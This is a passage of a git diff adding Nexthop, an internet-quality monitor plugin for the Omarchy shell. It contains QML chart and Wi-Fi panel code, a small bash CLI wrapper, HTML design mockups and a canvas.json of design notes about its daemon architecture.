or + // the link dropped. + ctx.setLineDash([2, 3]) + for (var m = 0; m < roams.length; m++) { + var rx = xAt(roams[m].ts) + if (rx < 0 || rx > width) continue + ctx.strokeStyle = roams[m].kind === "roam" + ? Qt.rgba(0.73, 0.6, 0.97, 0.55) : Qt.rgba(0.88, 0.69, 0.41, 0.7) + ctx.beginPath() + ctx.moveTo(rx, 0) + ctx.lineTo(rx, height) + ctx.stroke() + } + ctx.setLineDash([]) + + function runs(key, yAt) { + var out = [], cur = [] + for (var i = 0; i < p.length; i++) { + var v = p[i][key] + if (v === null || v === undefined) { + if (cur.length > 1) out.push(cur) + cur = [] + } else { + cur.push([xAt(p[i].t), yAt(v)]) + } + } + if (cur.length > 1) out.push(cur) + return out + } + + // Signal on the fixed -90..-30 dBm scale, as a filled band. + var ok = tab.panel.okTone + var sigRuns = runs("sig", function(v) { + var f = Math.max(0, Math.min(1, (v + 90) / 60)) + return bottom - (bottom - 3) * f + }) + for (var r = 0; r < sigRuns.length; r++) { + var run = sigRuns[r] + ctx.beginPath() + ctx.moveTo(run[0][0], bottom) + for (var j = 0; j < run.length; j++) ctx.lineTo(run[j][0], run[j][1]) + ctx.lineTo(run[run.length - 1][0], bottom) + ctx.closePath() + ctx.fillStyle = Qt.rgba(ok.r, ok.g, ok.b, 0.14) + ctx.fill() + ctx.beginPath() + for (j = 0; j < run.length; j++) { + if (j === 0) ctx.moveTo(run[j][0], run[j][1]) + else ctx.lineTo(run[j][0], run[j][1]) + } + ctx.strokeStyle = ok + ctx.lineWidth = 1.4 + ctx.stroke() + } + + // Local lag on its own scale, a thin dim line. + var lagPeak = 8 + for (var i = 0; i < p.length; i++) { + if (p[i].local !== null && p[i].local !== undefined) + lagPeak = Math.max(lagPeak, p[i].local) + } + lagPeak *= 1.15 + var lagRuns = runs("local", function(v) { + return bottom - (bottom - 3) * Math.min(1, v / lagPeak) + }) + ctx.strokeStyle = tab.panel.dim + ctx.lineWidth = 1 + for (r = 0; r < lagRuns.length; r++) { + run = lagRuns[r] + ctx.beginPath() + for (j = 0; j < run.length; j++) { + if (j === 0) ctx.moveTo(run[j][0], run[j][1]) + else ctx.lineTo(run[j][0], run[j][1]) + } + ctx.stroke() + } + + if (hoverX >= 0) { + var tAt = t0 + hoverX * span / (width - 1) + var best = null, bestD = Infinity + for (i = 0; i < p.length; i++) { + var d = Math.abs(p[i].t - tAt) + if (d < bestD) { bestD = d; best = p[i] } + } + if (best) { + var cx = xAt(best.t) + ctx.strokeStyle = Qt.rgba(tab.panel.fg.r, tab.panel.fg.g, + tab.panel.fg.b, 0.4) + ctx.lineWidth = 1 + ctx.beginPath() + ctx.moveTo(cx + 0.5, 0) + ctx.lineTo(cx + 0.5, height) + ctx.stroke() + var parts = [Qt.formatTime(new Date(best.t * 1000), "HH:mm:ss")] + parts.push(best.sig !== null && best.sig !== undefined + ? best.sig + " dBm" : "no signal data") + if (best.local !== null && best.local !== undefined) + parts.push("lag " + best.local.toFixed(1) + " ms") + var label = parts.join(" · ") + Readout.draw(ctx, tab.panel.fontFamily, label, cx, width, + tab.panel.fg, Color.popups.background) + } + } + } + } + + Row { + spacing: Style.space(16) + + component ChartKey: Row { + property color tint: "white" + property string label: "" + property bool dashed: false + spacing: Style.space(6) + Rectangle { + width: parent.dashed ? 1 : Style.space(10) + height: parent.dashed ? Style.space(9) : 2 + color: parent.tint + anchors.verticalCenter: parent.verticalCenter + } + Text { + textFormat: Text.PlainText + text: parent.label + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + anchors.verticalCenter: parent.verticalCenter + } + } + + ChartKey { tint: tab.panel.okTone; label: "signal" } + ChartKey { tint: tab.panel.dim; label: "local lag" } + ChartKey { tint: "#bb9af7"; label: "roam"; dashed: true } + ChartKey { tint: tab.panel.warnTone; label: "kicked / dropped"; dashed: true } + } + + PanelSeparator { width: parent.width } + + // ---- link facts ------------------------------------------------------- + Grid { + width: parent.width + columns: 2 + columnSpacing: Style.space(24) + rowSpacing: Style.space(6) + + readonly property real cell: (width - Style.space(24)) / 2 + + component KvRow: Item { + property string k: "" + property string v: "" + height: kText.implicitHeight + Text { + id: kText + textFormat: Text.PlainText + text: parent.k + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: parent.v + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + elide: Text.ElideLeft + width: parent.width - kText.implicitWidth - Style.space(8) + horizontalAlignment: Text.AlignRight + } + } + + KvRow { width: parent.cell; k: "Band" + v: tab.link && tab.link.band ? tab.link.band : "--" } + KvRow { width: parent.cell; k: "Channel" + v: tab.link && tab.link.channel + ? tab.link.channel + (tab.link.width_mhz ? " · " + tab.link.width_mhz + " MHz" : "") + : "--" } + KvRow { width: parent.cell; k: "Tx rate" + v: tab.link && tab.link.tx_mbps ? tab.link.tx_mbps + " Mbps" : "--" } + KvRow { width: parent.cell; k: "Rx rate" + v: tab.link && tab.link.rx_mbps ? tab.link.rx_mbps + " Mbps" : "--" } + KvRow { width: parent.cell; k: "Standard" + v: tab.link && tab.link.standard ? tab.link.standard : "--" } + KvRow { width: parent.cell; k: "Interface" + v: tab.link && tab.link.iface ? tab.link.iface : "--" } + KvRow { width: parent.cell; k: "BSSID" + v: tab.link && tab.link.bssid ? tab.link.bssid : "--" } + KvRow { width: parent.cell; k: "Gateway" + v: tab.link && tab.link.gateway ? tab.link.gateway : "--" } + } + + PanelSeparator { width: parent.width } + + // ---- airtime health --------------------------------------------------- + Text { + textFormat: Text.PlainText + text: "AIRTIME · WHY WI-FI FEELS SLOW WHEN SIGNAL LOOKS FINE" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + + Row { + width: parent.width + spacing: Style.space(14) + readonly property real cell: (width - Style.space(14) * 2) / 3 + + component AirStat: Column { + property string label: "" + property string display: "--" + property real frac: 0 // 0..1 meter fill + property bool bad: false + spacing: Style.space(4) + Text { + textFormat: Text.PlainText + text: parent.display + color: parent.bad ? tab.panel.warnTone : tab.panel.okTone + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.heading + font.weight: Font.Bold + } + Text { + textFormat: Text.PlainText + text: parent.label + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + Rectangle { + width: parent.width + height: Math.max(2, Style.space(3)) + color: Qt.rgba(tab.panel.fg.r, tab.panel.fg.g, tab.panel.fg.b, 0.12) + Rectangle { + height: parent.height + width: parent.width * Math.max(0, Math.min(1, parent.parent.frac)) + color: parent.parent.bad ? tab.panel.warnTone : tab.panel.okTone + } + } + } + + AirStat { + width: parent.cell + label: "TX RETRIES" + display: tab.station && tab.station.retry_pct !== undefined + ? tab.station.retry_pct.toFixed(1) + " %" + : (tab.station && tab.station.tx_retries !== undefined + ? String(tab.station.tx_retries) : "--") + // 10% retries fills the meter; past ~5% the air is genuinely busy. + frac: tab.station && tab.station.retry_pct !== undefined + ? tab.station.retry_pct / 10 : 0 + bad: tab.station && tab.station.retry_pct > 5 + } + AirStat { + width: parent.cell + label: "TX FAILED" + display: tab.station && tab.station.tx_failed !== undefined + ? String(tab.station.tx_failed) : "--" + frac: tab.station && tab.station.tx_failed !== undefined + ? tab.station.tx_failed / 50 : 0 + bad: tab.station && tab.station.tx_failed > 10 + } + AirStat { + width: parent.cell + label: "BEACON LOSS" + display: tab.station && tab.station.beacon_loss !== undefined + ? String(tab.station.beacon_loss) : "--" + frac: tab.station && tab.station.beacon_loss !== undefined + ? tab.station.beacon_loss / 10 : 0 + bad: tab.station && tab.station.beacon_loss > 0 + } + } + + Text { + textFormat: Text.PlainText + width: parent.width + text: "Counters since association. Retries mean a noisy channel; failures mean " + + "frames given up on; beacon loss means the router's heartbeat went missing." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + PanelSeparator { width: parent.width } + + // ---- link events ------------------------------------------------------ + Text { + textFormat: Text.PlainText + text: "LINK EVENTS · LAST 24 H" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + + Text { + textFormat: Text.PlainText + visible: tab.linkEvents.length === 0 + text: "None. The link has been steady." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + + Column { + width: parent.width + spacing: Style.space(8) + + Repeater { + model: tab.linkEvents + + Row { + id: linkRow + required property var modelData + width: parent.width + spacing: Style.space(10) + + readonly property color tone: { + var k = linkRow.modelData.kind + if (k === "roam") return "#bb9af7" + if (k === "kick" || k === "drop") return tab.panel.warnTone + if (k === "rate-drop") return tab.panel.warnTone + if (k === "associate") return tab.panel.okTone + return Color.accent + } + + Text { + textFormat: Text.PlainText + width: Style.space(42) + text: { + var d = new Date(linkRow.modelData.ts * 1000) + return d.toLocaleString(Qt.locale(), "HH:mm") + } + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + Rectangle { + width: Style.space(5) + height: Style.space(5) + color: linkRow.tone + anchors.verticalCenter: parent.verticalCenter + } + Text { + textFormat: Text.PlainText + width: parent.width - Style.space(42) - Style.space(5) + - Style.space(58) - Style.space(10) * 3 + text: linkRow.modelData.detail + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + Text { + textFormat: Text.PlainText + width: Style.space(58) + horizontalAlignment: Text.AlignRight + text: { + var e = linkRow.modelData + if (!e.ended_ts || e.ended_ts === e.ts) return "" + var s = e.ended_ts - e.ts + return s < 60 ? "for " + s + " s" + : "for " + Math.round(s / 60) + " m" + } + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + } + } + } +} diff --git a/plugins/io.github.x3me.nexthop/bin/nexthop b/plugins/io.github.x3me.nexthop/bin/nexthop new file mode 100644 index 0000000..c6905a5 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/bin/nexthop @@ -0,0 +1,5 @@ +#!/bin/bash +# The Nexthop query CLI. History, events, tests, reports — all in JSON, +# except `report`, which is the plain-text ISP-ticket summary. +exec env PYTHONPATH="$(dirname "$(dirname "$(realpath "$0")")")" \ + python3 -m nexthopd.cli "$@" diff --git a/plugins/io.github.x3me.nexthop/design/Architecture.dc.html b/plugins/io.github.x3me.nexthop/design/Architecture.dc.html new file mode 100644 index 0000000..36e3857 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/design/Architecture.dc.html @@ -0,0 +1,171 @@ + + + + + + + + + + + + + +

    + +
    +
    Architecture
    +
    Plugins run unsandboxed inside the single long-lived omarchy-shell process, so nothing that samples twice a second belongs in QML. The shell side stays a thin reader; a small daemon owns every measurement, and three files are the whole contract between them.
    +
    + +
    +
    INSIDE OMARCHY-SHELL · QML, LOADED BY THE PLUGIN REGISTRY
    +
    +
    +
    BarWidget.qml
    +
    kind: bar-widget
    +
    Index, latency or live sparkline. Colour carries the state. Click opens the panel, middle-click runs a peak test.
    +
    +
    +
    Panel.qml
    +
    five tab Loaders
    +
    Only the selected tab is alive, so a hidden tab costs nothing per sample. Charts are Canvas, same technique as the UniFi plugin.
    +
    +
    +
    Service.qml
    +
    kind: service
    +
    Starts at shell startup, spawns the daemon if no lock is held, restarts it if it dies, raises outage notifications.
    +
    +
    +
    + +
    + +
    One nexthop stream reader for live state — bounded, no-follow, regular-file-only, so the shell never opens a state path itself  ·  one Process call to nexthop query when you open a longer window
    + +
    + +
    +
    THE CONTRACT · ~/.LOCAL/STATE/NEXTHOP
    +
    +
    +
    live.json
    +
    rewritten 2× / sec
    +
    Both legs, lag, loss, rates, signal, the three component scores and the index. Under 1 KB, atomic rename. This is all the bar widget ever reads.
    +
    +
    +
    recent.json
    +
    rewritten every 5 sec
    +
    A 30-minute ring buffer, pre-downsampled to ~360 points. The panel's default graphs paint from it with no subprocess at all.
    +
    +
    +
    history.db
    +
    sqlite, stdlib
    +
    1-minute rows for 7 days, 1-hour rows for a year, every speed test and every event kept. QML never speaks SQL — the CLI answers in JSON.
    +
    +
    +
    + +
    + +
    writes only  ·  the daemon never talks to the shell, so either side can restart without the other noticing
    +
    + +
    +
    NEXTHOPD · PYTHON 3, STANDARD LIBRARY ONLY, NO PIP
    + +
    +
    +
    Local leg
    +
    2 Hz
    +
    One persistent ping -D -i 0.5 to the default gateway, parsed line by line. No process spawn per sample.
    +
    +
    +
    Wan leg
    +
    2 Hz
    +
    Same again to an anchor. Wan latency is the anchor minus the gateway, which is what separates your Wi-Fi from your ISP.
    +
    +
    +
    Link + counters
    +
    1 Hz / 5 sec
    +
    /sys/class/net byte counters for throughput; iw station dump for signal, bitrate, retries and roams.
    +
    +
    + +
    +
    +
    Application path
    +
    1 Hz + 5 min
    +
    A TCP handshake to the anchor on 443, and one HTTPS request every five minutes. Routers answer pings from hardware and rate-limit them under load, so ICMP alone is not what applications get.
    +
    +
    +
    Content speed
    +
    hourly, ~14 MB
    +
    A short ranged fetch, enough to score Speed honestly without moving real data. This is what feeds the index.
    +
    +
    +
    Scorer
    +
    continuous
    +
    Lag from latency, jitter and loss → Responsiveness. Downtime → Reliability. Content speed → Speed. Weakest-link, 0–100: you feel the bottleneck, not the average.
    +
    +
    + +
    +
    Roll-up and retention
    +
    Raw 2 Hz samples never hit the disk. The daemon folds them into 1-second aggregates in memory, 1-minute rows on the way to sqlite, and 1-hour rows after a week. A month of continuous monitoring lands under 12 MB.
    +
    +
    + +
    + +
    only when you ask, or when a schedule you turned on says so
    +
    + +
    +
    ON DEMAND
    +
    +
    +
    Peak speed test
    +
    ookla → cloudflare → fast.com
    +
    Uses the official speedtest CLI when it is on the machine, for server choice and a shareable result. Falls back to a Cloudflare or fast.com run that needs nothing installed — the same method Omarchy's own speed test uses. Idle and loaded latency are captured on every run.
    +
    +
    +
    Notifications and report
    +
    omarchy-notification-send
    +
    One notification when a disruption starts and one when it clears, naming the leg that failed. "Copy report" renders the visible window as plain text with timestamps, both legs and loss.
    +
    +
    +
    + +
    +
    +
    WHY A DAEMON AND NOT QML TIMERS
    +
    History has to survive a shell restart, and you restart the shell every time you change a theme. Sampling twice a second from QML would also mean a subprocess per probe inside the process that draws your desktop. And the panel must open already full of data, not start collecting when you look at it.
    +
    +
    +
    TWO WAYS TO RUN IT
    +
    By default the shell service starts the daemon, so installing the plugin is still just a clone and an enable — the marketplace installer never runs code. Anyone who wants monitoring while the shell is down installs a systemd --user unit with one command; the service sees the lock is held and simply attaches.
    +
    +
    + +
    + + + + + diff --git a/plugins/io.github.x3me.nexthop/design/BarStates.dc.html b/plugins/io.github.x3me.nexthop/design/BarStates.dc.html new file mode 100644 index 0000000..a37021e --- /dev/null +++ b/plugins/io.github.x3me.nexthop/design/BarStates.dc.html @@ -0,0 +1,164 @@ + + + + + + + + + + + + + +
    + +
    +
    Bar widget — the only always-visible surface
    +
    26 px tall, drawn in the shell's bar font. Four display modes, all six states. Colour is the whole message: you should know your connection went bad without reading a number.
    +
    + +
    + +
    +
    MODE A
    INDEX · DEFAULT
    +
    +
    +
    +
    +
    +
    + + 94 +
    + + + 14:32 +
    +
    +
    + +
    +
    MODE B
    LIVE LATENCY
    +
    +
    +
    +
    +
    +
    + + 9 ms +
    + + + 14:32 +
    +
    +
    + +
    +
    MODE C
    LIVE SPARKLINE
    +
    +
    +
    +
    +
    +
    + + +
    + + + 14:32 +
    +
    +
    + +
    +
    DEGRADED
    WAN LEG SLOW
    +
    +
    +
    +
    +
    +
    + + 61 +
    + + + 14:32 +
    +
    +
    + +
    +
    OUTAGE
    ROUTER OK, WAN DEAD
    +
    +
    +
    +
    +
    +
    + + 2m 14s +
    + + + 14:32 +
    +
    +
    + +
    +
    SPEED TEST RUNNING
    PROGRESS ON THE WIDGET
    +
    +
    +
    +
    +
    +
    + + 386 ↓ +
    +
    + + + 14:32 +
    +
    +
    + +
    + +
    +
    +
    TOOLTIP ON HOVER
    +
    Excitel · 94 excellent
    local 1.2 ms · wan 8.4 ms · 0.0% loss
    +
    +
    +
    CLICK
    +
    Opens the panel.
    Middle-click runs a speed test.
    +
    +
    +
    NOTIFICATION
    +
    Fires on outage start and recovery,
    with the leg that failed named.
    +
    +
    + +
    +
    + + + + diff --git a/plugins/io.github.x3me.nexthop/design/Events.dc.html b/plugins/io.github.x3me.nexthop/design/Events.dc.html new file mode 100644 index 0000000..f5295d0 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/design/Events.dc.html @@ -0,0 +1,164 @@ + + + + + + + + + + + + + +
    + +
    +
    + + + +
    +
    Excitel
    +
    EXCELLENT · ONLINE 4H 12M
    +
    +
    +
    +
    94
    +
    EXPERIENCE
    +
    +
    + +
    +
    Overview
    Latency
    Speed
    Wi-Fi
    Events
    +
    + +
    + +
    +
    EXPERIENCE, LAST 24 HOURS
    +
    1-minute buckets
    +
    + + + + + + + +
    +
    14:30 yest.
    +
    00:00
    +
    08:00
    +
    now
    +
    + +
    +
    90+ excellent
    +
    80 good
    +
    70 okay
    +
    50 fair
    +
    under 50 poor
    +
    + +
    + +
    LAST 7 DAYS
    + +
    +
    91
    Mon
    +
    93
    Tue
    +
    67
    Wed
    +
    88
    Thu
    +
    94
    Fri
    +
    95
    Sat
    +
    94
    Sun
    +
    + +
    + +
    +
    WHAT HAPPENED
    +
    3 disruptions this week
    +
    + +
    +
    +
    Wed 19:14
    +
    +
    No internet. Router still answered in 2 ms, so the fault was upstream of your line.
    +
    7m 41s
    +
    +
    +
    Wed 20:02
    +
    +
    Lag above 120 ms on the wan leg. Speed unaffected.
    +
    52m
    +
    +
    +
    Thu 09:30
    +
    +
    Public address changed, 49.36.x.x → 49.37.x.x. Same ISP, same AS.
    +
    —
    +
    +
    +
    Fri 12:04
    +
    +
    Roamed 3× between …25:fe ↔ …25:fa ↔ …25:b4
    +
    2m
    +
    +
    +
    Sat 03:00
    +
    +
    DNS resolver stopped answering for 90 s. Fell back to the secondary.
    +
    1m 30s
    +
    +
    + +
    + +
    +
    Builds a plain-text summary of the window you are looking at, with timestamps, both legs and loss — the thing an ISP actually asks for.
    +
    + + Copy report +
    +
    + +
    +
    + + + + diff --git a/plugins/io.github.x3me.nexthop/design/Latency.dc.html b/plugins/io.github.x3me.nexthop/design/Latency.dc.html new file mode 100644 index 0000000..76322fb --- /dev/null +++ b/plugins/io.github.x3me.nexthop/design/Latency.dc.html @@ -0,0 +1,215 @@ + + + + + + + + + + + + + +
    + +
    +
    + + + +
    +
    Excitel
    +
    EXCELLENT · ONLINE 4H 12M
    +
    +
    +
    +
    94
    +
    EXPERIENCE
    +
    +
    + +
    +
    Overview
    Latency
    Speed
    Wi-Fi
    Events
    +
    + +
    + +
    +
    +
    5M
    30M
    6H
    24H
    7D
    +
    +
    1 SAMPLE / SEC
    +
    + +
    +
    ROUND-TRIP LATENCY, BY LEG
    +
    peak 41 ms
    +
    + +
    +
    +
    45
    +
    30
    +
    15
    +
    0
    +
    + + + + + + + + + + +
    + +
    +
    wan leg (router → 1.1.1.1)
    +
    local leg (laptop → router)
    +
    + +
    + +
    JITTER
    + + + + + + +
    +
    mean 1.8 ms
    +
    peak 9.4 ms
    +
    + +
    + +
    PACKET LOSS
    + + + + + + +
    2 lost of 1800 probes · 0.11% · all on the wan leg
    + +
    + +
    +
    +
    LOCAL LEG
    +
    WAN LEG
    + +
    median
    1.2 ms
    8.4 ms
    +
    p95
    2.1 ms
    14.0 ms
    +
    p99
    3.4 ms
    27.0 ms
    +
    worst
    6.8 ms
    41.0 ms
    +
    jitter
    0.4 ms
    1.8 ms
    +
    loss
    0.00 %
    0.11 %
    +
    + +
    + +
    +
    LATENCY UNDER LOAD
    +
    measured during the last speed test
    +
    + +
    +
    +
    +
    idle
    +
    +
    9 ms
    +
    +
    +
    loaded
    +
    +
    34 ms
    +
    +
    +
    +
    A−
    +
    BUFFERBLOAT
    +
    +
    + +
    +25 ms added under full load. Below 30 ms a video call stays clean while someone else is downloading.
    + +
    +
    + + + + diff --git a/plugins/io.github.x3me.nexthop/design/Main.dc.html b/plugins/io.github.x3me.nexthop/design/Main.dc.html new file mode 100644 index 0000000..7368037 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/design/Main.dc.html @@ -0,0 +1,298 @@ + + + + + + + + + + + + + +
    + +
    +
    + + + + + + +
    +
    Excitel
    +
    {{d.verdict}} · {{d.uptime}}
    +
    +
    +
    +
    {{d.index}}
    +
    EXPERIENCE
    +
    +
    + +
    +
    Overview
    +
    Latency
    +
    Speed
    +
    Wi-Fi
    +
    Events
    +
    + +
    + +
    PATH
    + +
    +
    + + + + +
    This laptop
    +
    wlan0
    +
    + +
    +
    {{d.localMs}} ms
    +
    +
    LOCAL LEG
    +
    + +
    + + + + + + +
    Router
    +
    10.10.0.1
    +
    + +
    +
    {{d.wanMs}} ms
    +
    +
    WAN LEG
    +
    + +
    + + + + + +
    Internet
    +
    AS17754
    +
    +
    + +
    +
    LAG
    +
    best {{d.lagBest}} ms  ·  typical {{d.lagTypical}} ms  ·  worst {{d.lagWorst}} ms
    +
    + +
    + +
    +
    +
    RESPONSIVENESS
    +
    {{d.resp}}
    +
    +
    +
    +
    {{d.respNote}}
    +
    +
    +
    RELIABILITY
    +
    {{d.rel}}
    +
    +
    +
    +
    {{d.relNote}}
    +
    +
    +
    SPEED
    +
    {{d.spd}}
    +
    +
    +
    +
    {{d.spdNote}}
    +
    +
    + + +
    + + + +
    {{d.rec}}
    +
    +
    + +
    + +
    +
    LATENCY · LAST 30 MIN
    +
    {{d.stats}}
    +
    + + + + + + + + + + + + +
    +
    +
    +
    wan leg
    +
    +
    +
    +
    local leg
    +
    +
    +
    +
    packet loss
    +
    +
    + +
    + +
    +
    +
    LAST SPEED TEST · {{d.testAge}}
    +
    +
    + + {{d.down}} + Mbps +
    +
    + + {{d.up}} + Mbps +
    +
    +
    +
    + + + + + Run test +
    +
    + +
    + +
    +
    {{d.outages}}
    +
    monitoring used 3.1 MB today
    +
    + +
    +
    + + + + diff --git a/plugins/io.github.x3me.nexthop/design/Speed.dc.html b/plugins/io.github.x3me.nexthop/design/Speed.dc.html new file mode 100644 index 0000000..29ee13d --- /dev/null +++ b/plugins/io.github.x3me.nexthop/design/Speed.dc.html @@ -0,0 +1,183 @@ + + + + + + + + + + + + + +
    + +
    +
    + + + +
    +
    Excitel
    +
    EXCELLENT · ONLINE 4H 12M
    +
    +
    +
    +
    94
    +
    EXPERIENCE
    +
    +
    + +
    +
    Overview
    Latency
    Speed
    Wi-Fi
    Events
    +
    + +
    + +
    LIVE THROUGHPUT · LAST 3 MIN
    + + + + + + + + + +
    +
    RECEIVING
    +
    SENDING
    +
    DOWNLOADED
    +
    UPLOADED
    +
    4.0 MB/s
    +
    2.2 MB/s
    +
    1.05 GB
    +
    416 MB
    +
    + +
    + +
    +
    CONTENT SPEED · FEEDS YOUR SCORE
    +
    hourly · ~15 MB per check
    +
    + + + + + + + + + + + +
    +
    +
    download
    +
    upload
    +
    +
    plan 450 / 50 Mbps
    +
    + +
    + +
    +
    PEAK SPEED · LAST RUN 24 AUG 12:04
    +
    informational, not scored
    +
    + +
    +
    Download412.3 Mbps
    +
    Upload48.1 Mbps
    +
    Idle ping9 ms
    +
    Loaded ping34 ms
    +
    Jitter1.8 ms
    +
    Data used287 MB
    +
    ServerDelhi · 18 km
    +
    EngineOokla
    +
    + +
    + +
    +
    +
    PEAK TEST ENGINE
    +
    +
    Ookla
    +
    Cloudflare
    +
    fast.com
    +
    +
    +
    + + Run test +
    +
    + +
    A peak test sizes itself to saturate the line for about 10 s each way — up to ~600 MB on a fast one, far less on a slow one — so it only ever runs when you ask for it. The hourly content check above is what keeps the score honest, at a fraction of the data.
    + +
    +
    + + + + diff --git a/plugins/io.github.x3me.nexthop/design/SpeedTest.dc.html b/plugins/io.github.x3me.nexthop/design/SpeedTest.dc.html new file mode 100644 index 0000000..a955b7b --- /dev/null +++ b/plugins/io.github.x3me.nexthop/design/SpeedTest.dc.html @@ -0,0 +1,137 @@ + + + + + + + + + + + + + +
    +
    + +
    + +
    EXCITEL
    + +
    + +
    + + + + + + + + + + + + + 412.3 + Mbps + +
    DOWNLOAD
    +
    + +
    + + + + + + + + + + + + + 48.1 + Mbps + +
    UPLOAD
    +
    + +
    + +
    +
    + IDLE + 9 ms +
    +
    +
    + UNDER LOAD + 34 ms +
    +
    +
    + BUFFERBLOAT + A− +
    +
    + +
    + +
    SCALE 500 Mbps · OOKLA · DELHI
    +
    ENTER TO RUN AGAIN · ESC TO CLOSE
    +
    +
    + + + + diff --git a/plugins/io.github.x3me.nexthop/design/WiFi.dc.html b/plugins/io.github.x3me.nexthop/design/WiFi.dc.html new file mode 100644 index 0000000..13ed2fe --- /dev/null +++ b/plugins/io.github.x3me.nexthop/design/WiFi.dc.html @@ -0,0 +1,188 @@ + + + + + + + + + + + + + +
    + +
    +
    + + + +
    +
    Excitel
    +
    EXCELLENT · ONLINE 4H 12M
    +
    +
    +
    +
    94
    +
    EXPERIENCE
    +
    +
    + +
    +
    Overview
    Latency
    Speed
    Wi-Fi
    Events
    +
    + +
    + +
    THE LOCAL LEG · LAPTOP TO ROUTER
    + +
    +
    +
    −47 dBm
    +
    SIGNAL
    +
    +
    +
    +
    +
    +
    +
    +
    −90 unusable
    +
    −67 marginal
    +
    −30 max
    +
    +
    +
    + +
    +
    SIGNAL & LOCAL LAG · LAST 30 MIN
    +
    one roam
    +
    + + + + + + + + + +
    +
    signal
    +
    local lag
    +
    roamed to a stronger AP
    +
    + +
    + +
    +
    Band5 GHz
    +
    Channel44 · 80 MHz
    +
    Tx rate866 Mbps
    +
    Rx rate780 Mbps
    +
    Standard802.11ax
    +
    SecurityWPA2
    +
    BSSIDc8:3a:35:4f:12:80
    +
    Interfacewlan0
    +
    + +
    + +
    AIRTIME HEALTH · WHY WI-FI FEELS SLOW WHEN SIGNAL LOOKS FINE
    + +
    +
    +
    1.2 %
    +
    TX RETRIES
    +
    +
    +
    +
    7
    +
    TX FAILED
    +
    +
    +
    +
    0
    +
    BEACON LOSS
    +
    +
    +
    + +
    + +
    LINK EVENTS
    + +
    +
    +
    12:41
    +
    +
    Roamed to c8:3a:35:4f:12:80, channel 149 → 44
    +
    −61 → −47 dBm
    +
    +
    +
    11:58
    +
    +
    Rate dropped to 173 Mbps for 40 s
    +
    microwave band
    +
    +
    +
    08:32
    +
    +
    Associated with Excitel after wake
    +
    1.4 s to online
    +
    +
    + +
    +
    + + + + diff --git a/plugins/io.github.x3me.nexthop/design/canvas.json b/plugins/io.github.x3me.nexthop/design/canvas.json new file mode 100644 index 0000000..acc6b6e --- /dev/null +++ b/plugins/io.github.x3me.nexthop/design/canvas.json @@ -0,0 +1,94 @@ +{ + "artboards": [ + { + "file": "BarStates.dc.html", + "x": 0, + "y": 0, + "w": 900, + "h": 470, + "title": "Bar widget" + }, + { + "file": "SpeedTest.dc.html", + "x": 1040, + "y": 0, + "w": 1000, + "h": 560, + "title": "Speed test overlay" + }, + { + "file": "Main.dc.html", + "x": 0, + "y": 720, + "w": 560, + "h": 720, + "title": "Panel \u2014 Overview" + }, + { + "file": "Latency.dc.html", + "x": 700, + "y": 720, + "w": 560, + "h": 900, + "title": "Panel \u2014 Latency" + }, + { + "file": "Speed.dc.html", + "x": 1400, + "y": 720, + "w": 560, + "h": 780, + "title": "Panel \u2014 Speed" + }, + { + "file": "WiFi.dc.html", + "x": 0, + "y": 1780, + "w": 560, + "h": 710, + "title": "Panel \u2014 Wi-Fi" + }, + { + "file": "Events.dc.html", + "x": 700, + "y": 1780, + "w": 560, + "h": 680, + "title": "Panel \u2014 Events" + }, + { + "file": "Architecture.dc.html", + "x": 1400, + "y": 1780, + "w": 1120, + "h": 1300, + "title": "Architecture" + } + ], + "annotations": [ + { + "id": "brief", + "x": -560, + "y": 0, + "w": 440, + "text": "Nexthop \u2014 an internet quality monitor for Omarchy.\n\nSplits your Wi-Fi from your ISP, hop by hop.\n\nEverything here is lifted from the real shell source: JetBrains Mono, square corners (your Hyprland rounding is 0), 2px #7aa2f7 panel border, and the 10px uppercase-dim label over bright-value grammar that the built-in network panel and Vitals both use.\n\nStatic mockups, one artboard per screen." + }, + { + "id": "panels", + "x": -560, + "y": 720, + "w": 440, + "text": "Five tabs, one panel (the shipped panel has since grown to seven: Apps, Events and a Setup cog).\n\nOverview answers \"is it me or is it them\" in one glance. The other four are for when the answer is them.\n\nThe Overview artboard has a state switch above it \u2014 flip it to degraded or outage to see the bad days, including the recommendation strip." + }, + { + "id": "arch", + "x": -560, + "y": 1780, + "w": 440, + "text": "The plugin stays a thin reader. nexthopd \u2014 Python 3, standard library only \u2014 owns every measurement and writes four files.\n\nThe shell never opens one of them: a bounded, no-follow reader hands it whole lines, so a swapped or oversized file cannot stall or bloat the process that draws your desktop.\n\nSettled: Python over Rust, because it installs with just a clone. A prebuilt binary in the repo would trip the marketplace's automated security baseline.\n\nid: io.github.x3me.nexthop" + } + ], + "launch": { + "view": "canvas" + } +} \ No newline at end of file diff --git a/plugins/io.github.x3me.nexthop/docs/apps.png b/plugins/io.github.x3me.nexthop/docs/apps.png new file mode 100644 index 0000000000000000000000000000000000000000..c7cebb20a0c2c71ac69316e9c760f69962af4b21 GIT binary patch literal 74611 zcmce;Wl&sA7%q5#KnTGSG-wFH-8Dc6?#?iSI}GkFK@vO!_uy{9f;$8o+%3r9?#|A4 zYisxZ*t=ExV{c7OovJ?bcE6`j_iNA76Q-ghjfFvi0RRA&tc-*j03gR8zK!U}h!)jx 